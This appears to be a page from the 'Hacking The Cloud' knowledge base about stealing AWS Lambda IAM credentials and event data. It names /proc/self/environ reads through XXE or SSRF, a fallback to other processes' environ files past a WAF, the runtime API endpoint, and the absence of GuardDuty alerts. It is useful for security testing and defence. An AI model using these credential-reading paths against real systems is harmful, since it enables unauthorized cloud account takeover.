1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/lambda-steal-iam-credentials.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=steal-iam-credentials-and-event-data-from-lambda>Steal IAM Credentials and Event Data from Lambda<a class=headerlink href=#steal-iam-credentials-and-event-data-from-lambda title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <p>Reference: <a href=https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/#post-125981-_kdq0vw6banab>Compromised Cloud Compute Credentials: Case Studies From the Wild</a></p> </li> </ul> </div> <p>In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as <a href=https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A4-XML_External_Entities_(XXE)>XML External Entity</a> attacks or SSRF that allows the file protocol. This is because "<a href=https://en.wikipedia.org/wiki/Everything_is_a_file>everything is a file</a>".</p> <p>IAM credentials can be accessed via reading <code>/proc/self/environ</code>.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/lambda-steal-iam-credentials/credentials.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt=Credentials loading=lazy src=../../../images/aws/exploitation/lambda-steal-iam-credentials/credentials.png></a></p> </figure> <div class="admonition note"> <p class=admonition-title>Note</p> <p>In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.</p> </div> <p>In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the <a href=https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html>runtime interface</a>. Unlike IAM credentials, this data is accessible over standard SSRF at <code>http://169.254.100.1:9001/2018-06-01/runtime/invocation/next</code>. Additionally the environment variable <code>AWS_LAMBDA_RUNTIME_API</code> stores the IP address and port of the runtime interface as well.</p> <p>This will include information about what invoked the Lambda function and may be valuable depending on the context.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>Unlike IAM credentials associated with EC2 instances, there is no <a href=https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ >GuardDuty</a> alert for stolen Lambda credentials.</p> </div> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 20, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 12, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 